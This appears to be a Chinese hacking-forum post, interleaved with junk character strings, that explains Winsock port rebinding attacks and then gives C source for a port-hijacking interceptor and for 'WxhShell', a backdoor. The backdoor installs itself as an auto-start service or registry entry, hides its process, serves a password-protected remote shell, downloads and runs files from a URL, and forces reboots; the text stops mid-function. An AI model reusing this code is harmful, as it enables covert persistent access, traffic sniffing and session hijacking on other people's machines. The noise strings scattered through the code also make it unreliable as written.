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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .L^j:2(L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z*b|N45O  
;[Xf@xf  
  saddr.sin_family = AF_INET; Jb9 @U /<\  
iu{;|E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `tT7&*Os  
]C+P J:CC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QCDica `+*  
* #z@b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +7lr#AvU/  
dR>$vbjh1Z  
  这意味着什么?意味着可以进行如下的攻击: gyy}-^`F  
9' H\-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W:WRG8(F  
3 %r*~#nz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 45Zh8k  
o&k,aCQC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *yZta:(w-W  
>}0H5Q8@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1PWi~1q{Q  
=D?HL?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qKeR}&b  
D > U(&n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ln+.$ C  
S+eu3nMq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %0vsm+XQ0E  
I:al[V2g  
  #include l.;^w  
  #include pFu!$.Fr  
  #include JAMV@  
  #include    wr:-n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r-WX("Vvh  
  int main() 8In~qf  
  { e<A>??h^  
  WORD wVersionRequested; i-WP#\s  
  DWORD ret; &>Y.$eW_  
  WSADATA wsaData; (VCJn<@@  
  BOOL val; GqP02P'2  
  SOCKADDR_IN saddr;  fOsvOC  
  SOCKADDR_IN scaddr; |,TBP@  
  int err; /-^{$$eu  
  SOCKET s; [z_z tK1  
  SOCKET sc; xu]Kt+QnSk  
  int caddsize; FL$S_JAw  
  HANDLE mt; 1B 0[dK2N  
  DWORD tid;   n#?y;Y\  
  wVersionRequested = MAKEWORD( 2, 2 ); #IqRu:csp  
  err = WSAStartup( wVersionRequested, &wsaData ); V!@6Nv  
  if ( err != 0 ) { FSkX95  
  printf("error!WSAStartup failed!\n"); SuV3$-);z  
  return -1; x=\W TC  
  } hSps9*y  
  saddr.sin_family = AF_INET; 0;w 4WJJ  
   siV]NI ':|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sQr M"i0Y>  
PF)s>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7''iT{-[p  
  saddr.sin_port = htons(23); c&<Ei1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D^t: R?+  
  { LZ(K{+U/  
  printf("error!socket failed!\n"); 'c/8|9jX  
  return -1; M3d%$q)<rW  
  } x FvK jO)  
  val = TRUE; j@UE#I|h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hy'EbQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r M}o)  
  { |w>b0aY  
  printf("error!setsockopt failed!\n"); CNWA!1n^Hy  
  return -1; "N,@J-]/k  
  } Gt,VSpb~s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o=lZl_5/u;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v}!^RW 'X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ='e_9b\K  
;kG"m7-/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k0b6X5  
  { /;y`6WG%2  
  ret=GetLastError(); NOAz"m+o  
  printf("error!bind failed!\n"); 04Uyr;y  
  return -1; 7#N= GN  
  } qsQTJlq)  
  listen(s,2); ][8`}ki 1  
  while(1) pgv, Su  
  { cxPOO#  
  caddsize = sizeof(scaddr); mgq4g  
  //接受连接请求 RO[X #c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {?mb.~(  
  if(sc!=INVALID_SOCKET) QPFv]^s(  
  { BryD?/}P)M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J'&K  
  if(mt==NULL) 4^ 0CHy  
  { !,J] 5$M  
  printf("Thread Creat Failed!\n"); !"F8jA}  
  break; urL@SeV+$  
  } Cf v1nU W  
  } :[C|3KKe"  
  CloseHandle(mt); }4,[oD  
  } 9D?JzTsyg  
  closesocket(s); \z@ :OR,  
  WSACleanup(); +QSH*(,  
  return 0; G 40  
  }   l['ER$(7  
  DWORD WINAPI ClientThread(LPVOID lpParam) OSh'b$Z  
  { v>j<ky   
  SOCKET ss = (SOCKET)lpParam; &!+1GI9z  
  SOCKET sc; <)L[V  
  unsigned char buf[4096]; 'RQEktm  
  SOCKADDR_IN saddr; &EC8{.7  
  long num; u&f|z9  
  DWORD val; S[l z>I  
  DWORD ret; 2c*}1 _  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q} -YD.bx3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TTo?BVBK  
  saddr.sin_family = AF_INET;  {yxLL-5c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oy=ej+:  
  saddr.sin_port = htons(23); +R 8dy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m&MZn2u[4i  
  { kFfNDM#D  
  printf("error!socket failed!\n"); zvv/|z2(r  
  return -1; x_(K%0+Ca  
  } k~QmDq  
  val = 100; A' n7u'6=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W$z^U) |t  
  { NR^3 1&}It  
  ret = GetLastError(); F*4G@)  
  return -1; po*r14f  
  } B+c,3@)x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =,s5>2  
  { 1l.HQ IS  
  ret = GetLastError(); -(#`JT8  
  return -1; 0OtUb:8LX  
  } c'bh`H4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R0GD9  
  { '^'PdB  
  printf("error!socket connect failed!\n"); ?uF3Q)rCk  
  closesocket(sc); R@IwmJxX  
  closesocket(ss); c48I-{?  
  return -1; D3+<16[,  
  } +}f}!h;  
  while(1) h;OHpvk  
  { :vFYqoCn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {Bpu-R&T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >GDf* ox[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vU#>3[aC  
  num = recv(ss,buf,4096,0); E6?0/"  
  if(num>0) a{.-qp  
  send(sc,buf,num,0); }C JK9*Z  
  else if(num==0) "2"2qZ*h}  
  break; 8&7zV:=  
  num = recv(sc,buf,4096,0); AbX#wpp!  
  if(num>0)  "'Q~&B;@  
  send(ss,buf,num,0); anH]]  
  else if(num==0) 8;3I:z&muQ  
  break; 1<0Z@D~F  
  } )qDV3   
  closesocket(ss); <II>io ;  
  closesocket(sc); fV!~SX6S  
  return 0 ; ?]_A~_J!  
  } - G=doP0  
7Ewq'Vu`y  
`mS0]/AV/  
========================================================== 7aHP;X~0  
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下边附上一个代码,,WXhSHELL |tFg9RT  
~#=70  
========================================================== Ece=loV*l  
hz-^9U  
#include "stdafx.h" ;F /w&u.n  
}l5Q0'  
#include <stdio.h> 87R$Y> V  
#include <string.h> =o[H2o y  
#include <windows.h> i~{0>"9  
#include <winsock2.h> 85:mh\@-G  
#include <winsvc.h> suN}6C I  
#include <urlmon.h> uLt31G()  
VH~ZDZ1P  
#pragma comment (lib, "Ws2_32.lib") `I(5Aj"  
#pragma comment (lib, "urlmon.lib") l~x 6R~q  
E/C3t2@-  
#define MAX_USER   100 // 最大客户端连接数 \"+}-!wr  
#define BUF_SOCK   200 // sock buffer 07vzVsQ}p  
#define KEY_BUFF   255 // 输入 buffer YG#{/;^nm)  
Mw6 Mt  
#define REBOOT     0   // 重启 af=lzKt*  
#define SHUTDOWN   1   // 关机 4B-+DH>{6  
6+SaO !lR  
#define DEF_PORT   5000 // 监听端口 g:&PjKA  
1 @q"rPE^  
#define REG_LEN     16   // 注册表键长度 fs, >X!l+  
#define SVC_LEN     80   // NT服务名长度 zy8D&7Ytf  
EV R>R  
// 从dll定义API |#22pq?RP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b Kr73S9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '.XR,\g>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wHs4~"EY9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @-O%u* %J  
r3~YGY  
// wxhshell配置信息 =^w:G=ymS  
struct WSCFG { w2V:g$~,  
  int ws_port;         // 监听端口 2&2t8.<  
  char ws_passstr[REG_LEN]; // 口令 ;Hu`BFXyD  
  int ws_autoins;       // 安装标记, 1=yes 0=no i(S}gH4*o  
  char ws_regname[REG_LEN]; // 注册表键名 IG4`f~k^  
  char ws_svcname[REG_LEN]; // 服务名 (usPAslr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LP}'upv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ({h W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ka8Bed3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9gETWz(3I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A3Vj3em  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H  `_{n<  
5Qxm\?0J  
}; VW**N}1#C  
xsx0ZovhY  
// default Wxhshell configuration C=DC g  
struct WSCFG wscfg={DEF_PORT, `m-7L  
    "xuhuanlingzhe", E~`<n]{G-C  
    1, LC0g"{M  
    "Wxhshell", ]KQBek#DD  
    "Wxhshell", ]fU0;jzX  
            "WxhShell Service", ,veI'WHMB  
    "Wrsky Windows CmdShell Service", -K0!wrKC  
    "Please Input Your Password: ", F>aaUj  
  1, }J_#N.y  
  "http://www.wrsky.com/wxhshell.exe", #$u7:p [t  
  "Wxhshell.exe" f}Uf* Bp  
    }; (q=),3/<pU  
P?<G:]W  
// 消息定义模块 E7@m& R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B\quXE)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1j!{?t ?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;sY n=r  
char *msg_ws_ext="\n\rExit."; 4R9y~~+  
char *msg_ws_end="\n\rQuit."; +<sv/gEt  
char *msg_ws_boot="\n\rReboot..."; Vd A!tL  
char *msg_ws_poff="\n\rShutdown..."; CD)JCv  
char *msg_ws_down="\n\rSave to "; {br6*  
y2>AbrJ  
char *msg_ws_err="\n\rErr!"; le~p2l#e   
char *msg_ws_ok="\n\rOK!"; 17!<8vIV$C  
")3$. '5Dg  
char ExeFile[MAX_PATH]; l  !JTM  
int nUser = 0; )8V=!73  
HANDLE handles[MAX_USER]; G4J)o?:m@  
int OsIsNt; uVzvUz{b  
mfr7w+DK  
SERVICE_STATUS       serviceStatus; ,xy$h }g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eJ60@N\A  
`'b2 z=j  
// 函数声明 8 g3?@i  
int Install(void); 1W{t?1[s  
int Uninstall(void);  1"RC!  
int DownloadFile(char *sURL, SOCKET wsh); (A~w IKY,  
int Boot(int flag); B5!|L)7>{p  
void HideProc(void); 70N Lv  
int GetOsVer(void); X 3(*bj>P  
int Wxhshell(SOCKET wsl); N$P\$  
void TalkWithClient(void *cs); otdm r w|  
int CmdShell(SOCKET sock); g ?{o2gG  
int StartFromService(void); :+meaxbu  
int StartWxhshell(LPSTR lpCmdLine); cA B<'44R  
QJU\YH%}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A%.ZesjAx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o|y1m7X  
jL:GP}I=  
// 数据结构和表定义 9QEK|x`8  
SERVICE_TABLE_ENTRY DispatchTable[] = ;~(yv|f6  
{ d, 0Klew  
{wscfg.ws_svcname, NTServiceMain}, HEe_K!_  
{NULL, NULL} N$<R6DU]K  
}; J(Zz^$8]<?  
}KR"0G[f  
// 自我安装 |_%q@EID  
int Install(void) T< o8lL  
{ sQMfU{S /  
  char svExeFile[MAX_PATH]; ,(z"s8N  
  HKEY key; h|OWtf4  
  strcpy(svExeFile,ExeFile); `"y:/F"{  
@$5= 4HA  
// 如果是win9x系统,修改注册表设为自启动 1i;#cIG  
if(!OsIsNt) { X1^Q1?0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !PJp()  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sv+ 6#  
  RegCloseKey(key); C{]1+eL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KDLrt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1i@a? 27|  
  RegCloseKey(key); #F'8vf'r  
  return 0; Wn Ng3'6  
    } q)OCY}QA  
  } -BEd7@?A  
} yhd]s0(!  
else { W@Rb"5Gy+  
@81N{tg-  
// 如果是NT以上系统,安装为系统服务 ricL.[v9S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) RNB;K~s9  
if (schSCManager!=0) ma@!"Z8 S  
{ JHg y&/  
  SC_HANDLE schService = CreateService t/h,-x  
  ( Sgn<=8,6c  
  schSCManager, 'j\mz5#s  
  wscfg.ws_svcname, DJ|lel/'  
  wscfg.ws_svcdisp, =!IoL7x  
  SERVICE_ALL_ACCESS, S#S&_#$`,X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mi@ni+2Tn  
  SERVICE_AUTO_START, !JA//{?  
  SERVICE_ERROR_NORMAL, ` pfRY!  
  svExeFile, kQO-V4z!  
  NULL, ^CP>|JWD^  
  NULL, 05o<fa2HE  
  NULL, W;|%)D)y  
  NULL, 'q1cc5(ueV  
  NULL +nL#c{  
  ); j5rMY=|F  
  if (schService!=0) VUZeC,FfO  
  { W>&!~9H  
  CloseServiceHandle(schService); 5jHr?C  
  CloseServiceHandle(schSCManager); ,iXQ"):!OB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *s|'V+1  
  strcat(svExeFile,wscfg.ws_svcname); OuyO_DSI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i-R}O6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L)"CE].  
  RegCloseKey(key); j8;Uny9  
  return 0; X}`39r.  
    } z[0tM&pv  
  } yacN=]SW5  
  CloseServiceHandle(schSCManager); $ J!PSF8PL  
} X~Hm.qIR  
} >~L0M  
;Swy5z0=ro  
return 1; g1~wg$`S8S  
} L+8O 4K{  
s \0,@A   
// 自我卸载 C@u}tH )  
int Uninstall(void) Op:$7hv  
{ x;A.Ll  
  HKEY key; "%#CMCE|f  
5E =!L g  
if(!OsIsNt) { LR3>_t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RM>A9nv$\  
  RegDeleteValue(key,wscfg.ws_regname); vK$wc~  
  RegCloseKey(key); aev(CY,z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] U,m 1  
  RegDeleteValue(key,wscfg.ws_regname); @?bY,  
  RegCloseKey(key); \s7/`  
  return 0; /4KHf3Nr  
  } &FWz7O>1  
}  '3xK1Am  
} l YpoS  
else { gi$'x^]#  
co-1r/ -O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2x~Pq_?y  
if (schSCManager!=0) M,<UnAVP-  
{ aI 1tG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FmgMd)#  
  if (schService!=0) fpJ%{z2  
  { Xq}}T%jcd  
  if(DeleteService(schService)!=0) { sK8sxy  
  CloseServiceHandle(schService); :KS"&h{SY  
  CloseServiceHandle(schSCManager); z=Xh  
  return 0; }yw>d\] f  
  } mSGpxZ,IE  
  CloseServiceHandle(schService); k t+h\^g  
  } yJMo/!DZ  
  CloseServiceHandle(schSCManager); GU]kgwSf i  
} <,Mf[R2N>  
} wV\G$|Y  
,h<x Y>  
return 1; pUa\YO1J  
} yatZ Al(B  
M5 ^qc  
// 从指定url下载文件 Nw1Bn~yx<R  
int DownloadFile(char *sURL, SOCKET wsh) `cPZsL  
{ 8Yo;oHk7  
  HRESULT hr; MeV*]*   
char seps[]= "/"; B qLL]%F  
char *token; H~bbkql  
char *file; H3( @Q^9  
char myURL[MAX_PATH]; &joP-!"  
char myFILE[MAX_PATH]; k]~$AaNq  
Hz%<V *\{  
strcpy(myURL,sURL); r 5t{I2  
  token=strtok(myURL,seps); 4 RfBXVS  
  while(token!=NULL) = BbG2k  
  { t:b}Mo0  
    file=token; W j`f^^\HJ  
  token=strtok(NULL,seps); |Qn>K   
  } @r(3   
w+a5/i@  
GetCurrentDirectory(MAX_PATH,myFILE); }$LnjwM;,  
strcat(myFILE, "\\"); @^GI :z  
strcat(myFILE, file); J0B*V0'zR  
  send(wsh,myFILE,strlen(myFILE),0); uvJ&qd8M  
send(wsh,"...",3,0); M*D@zb0ia  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uPE Ab2u="  
  if(hr==S_OK) gw^W6v  
return 0; 8fktk?|  
else @!^Y_q  
return 1; [z!pm-Ir  
u"m TS&  
} -)xl?IB%  
I'[;E.KU  
// 系统电源模块 C_yNSD  
int Boot(int flag) pCC^Hxa  
{ >XX93  
  HANDLE hToken; N1 sdWXG  
  TOKEN_PRIVILEGES tkp; EAy@kzY?  
:#cJZ\YH  
  if(OsIsNt) { "c.-`1,t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .zTkOk L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %(]B1Zg6,  
    tkp.PrivilegeCount = 1; |<O^M q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Nad1C/]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h B_p  
if(flag==REBOOT) { 2p4iir  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lJ,\^\q  
  return 0; z ?F`)}  
} 6ND*L0  
else { 2EYWX! Bx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A.h0H]*Ma  
  return 0; {Ppb ;  
} %~kE,^  
  } mn*}U R  
  else { sH'0utD#Y  
if(flag==REBOOT) { d_ x jW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qvel#*-4  
  return 0; ,X;$-.  
} }EP}D?Mmu  
else { qq3/K9 #y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K\zb+  
  return 0; ] SLeWs  
} YB!f=_8  
} Qwve-[  
#p]V?  
return 1; ` N R,8F  
} -$_FKny  
7G*rxn"d  
// win9x进程隐藏模块 c;!| =  
void HideProc(void) ;PnN$g]Q  
{ B9$pG  
"] Uj _d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7I@df.rf6J  
  if ( hKernel != NULL ) [>\e@ =  
  { Bj9FSKiH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l!W!Gz0to  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _n{_\/A6f  
    FreeLibrary(hKernel); k sOc,4A  
  } ;uv$>F auk  
9_.pLLx  
return; _[i.)8$7  
} XD|Xd|/ {  
j]` hy"  
// 获取操作系统版本 aBQ@n  
int GetOsVer(void) ~66v.`K!  
{ VS_\bIC  
  OSVERSIONINFO winfo; 9ZR"Lo>3e+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZX.,<vumSy  
  GetVersionEx(&winfo); .*xO/pn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Zs0W{OxU  
  return 1; 0pl'*r*9  
  else {7MY*&P$,  
  return 0; v6 |[p  
} ,\#j6R,{I  
kmo#jITa`  
// 客户端句柄模块 ' V*}d  
int Wxhshell(SOCKET wsl) w7Mh8'P54  
{ u,}>I%21  
  SOCKET wsh; DMs8B&Y=  
  struct sockaddr_in client; 9 C{Xpu  
  DWORD myID; u$aN~6HG  
SG&H^V8  
  while(nUser<MAX_USER) f)gV2f0t  
{ yx6^ mis4  
  int nSize=sizeof(client); `[XH=-p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0;,Y_61  
  if(wsh==INVALID_SOCKET) return 1; ;=E}PbZt2  
RBg2iG$ 8|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7;C~>WlU  
if(handles[nUser]==0) &B=z*m  
  closesocket(wsh); KL9JA; "  
else k.Gt }\6zP  
  nUser++; oL }d=x/  
  } HU|qeSyel  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZtP/|P5@  
o8IqO'  
  return 0; 5p:2gsk  
} -]Mk} z$  
<7B;_3/  
// 关闭 socket /R?*i@rvf  
void CloseIt(SOCKET wsh) G&MO(r}B  
{ Z![#Uz.z  
closesocket(wsh); aHI~@  
nUser--; I")Ud?v0)  
ExitThread(0); s?nj@:4  
} S;2UcSsQl  
<Hz11 }<(  
// 客户端请求句柄 CDW| cr{  
void TalkWithClient(void *cs) V:+vB "  
{ fIatp  
:B|rs&  
  SOCKET wsh=(SOCKET)cs; Wf%)::G*uR  
  char pwd[SVC_LEN]; (Ia:>ocE0  
  char cmd[KEY_BUFF]; ;A*sub  
char chr[1]; .>PwbZ  
int i,j; jv1p'qs4  
K@!hrye  
  while (nUser < MAX_USER) { )=aq j@v  
*/TO $ ^s  
if(wscfg.ws_passstr) { Ae2Y\sAV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @T.F/Pjhc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g u' +kw  
  //ZeroMemory(pwd,KEY_BUFF); 7)Tix7:9S;  
      i=0; #^ .G^d(=  
  while(i<SVC_LEN) { `ZP[-:`  
#>BC|/P}  
  // 设置超时 2(e;pM2Dq  
  fd_set FdRead; =&qfmq  
  struct timeval TimeOut; ANj%q9e!Yi  
  FD_ZERO(&FdRead); 2"P1I  
  FD_SET(wsh,&FdRead); qEdY]t   
  TimeOut.tv_sec=8; h\Zh^B6J  
  TimeOut.tv_usec=0; NA/Sv"7om  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3=UufI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KpS=oFX{}  
YxA nh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R_Bf JD.  
  pwd=chr[0]; =FFs8&PKys  
  if(chr[0]==0xd || chr[0]==0xa) { o$*DFvk  
  pwd=0; CPP9=CoR37  
  break; SL^%Zh/~  
  } kjQI=:i=  
  i++; AP=SCq;  
    } cmaha%3d  
qPhVc9D#  
  // 如果是非法用户,关闭 socket AO5a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HJ!)&xT  
} @OHNz!Lj:d  
'Nx"_jQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $D f1t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +s [_ 4  
soKR*gJ,  
while(1) { : B1 "=ly  
TFhYu  
  ZeroMemory(cmd,KEY_BUFF); <!|=_W6  
6Hd^qouid  
      // 自动支持客户端 telnet标准   D6e<1W  
  j=0; F1`mq2^@  
  while(j<KEY_BUFF) { X&K,,C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +ZBj_Vw*|  
  cmd[j]=chr[0]; R~N%sn  
  if(chr[0]==0xa || chr[0]==0xd) { *y>|  
  cmd[j]=0; F{}:e QD  
  break; 5pRVA  
  } *S Z]xrs  
  j++; jar?"o  
    } y>RqA *J  
j{zVVT  
  // 下载文件 Vr&v:8:wb  
  if(strstr(cmd,"http://")) { pcm1IwR`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qEkhgJqk  
  if(DownloadFile(cmd,wsh)) Ac[;S!R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x_H"<-By  
  else !W=2ZlzS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vha@YPC=  
  } A {')  
  else { I+Fr#1  
\}Pr!tk!  
    switch(cmd[0]) { )9!ZkZbv_m  
  a$6pA@7}  
  // 帮助 E 6!V0D  
  case '?': { F#efs6{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !}xRwkN  
    break; D[Ld=e8t  
  } hrOp9|!m  
  // 安装 2L1Azx  
  case 'i': { 8}^ym^H|j  
    if(Install()) |e3YTLsI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RWn#"~  
    else MpJx>0j/J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [@s5v  
    break; bW'Y8ok[v  
    } 6M8(KN^  
  // 卸载 -%t8a42  
  case 'r': { -ktYS(8&  
    if(Uninstall()) WxF@'kdn*,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T9'5V@  
    else  q0\$wI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Mv4=k^7|4  
    break; 9893{}\cB  
    } UX'tdB !A  
  // 显示 wxhshell 所在路径 @gJPMgF$F  
  case 'p': { aII:Pzh]B  
    char svExeFile[MAX_PATH]; @;d7#!:cE  
    strcpy(svExeFile,"\n\r"); NMP*q @  
      strcat(svExeFile,ExeFile); /bqJ6$  
        send(wsh,svExeFile,strlen(svExeFile),0); @(rLn  
    break; rX&?Xi1JeV  
    }  aK9zw  
  // 重启 MK4CggoC  
  case 'b': { '}NH$ KA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c-a;nAR  
    if(Boot(REBOOT)) %M05& <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11yS2D   
    else { E`uK7 2j  
    closesocket(wsh); Cd7d-'EQn  
    ExitThread(0); 5c l%>U  
    } d _koF-7  
    break; fP1fm  
    } mDU-;3OqF  
  // 关机 qk(u5Z  
  case 'd': { *(<3 oIRS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dtq]_HvTJ  
    if(Boot(SHUTDOWN)) yAVt[+0  
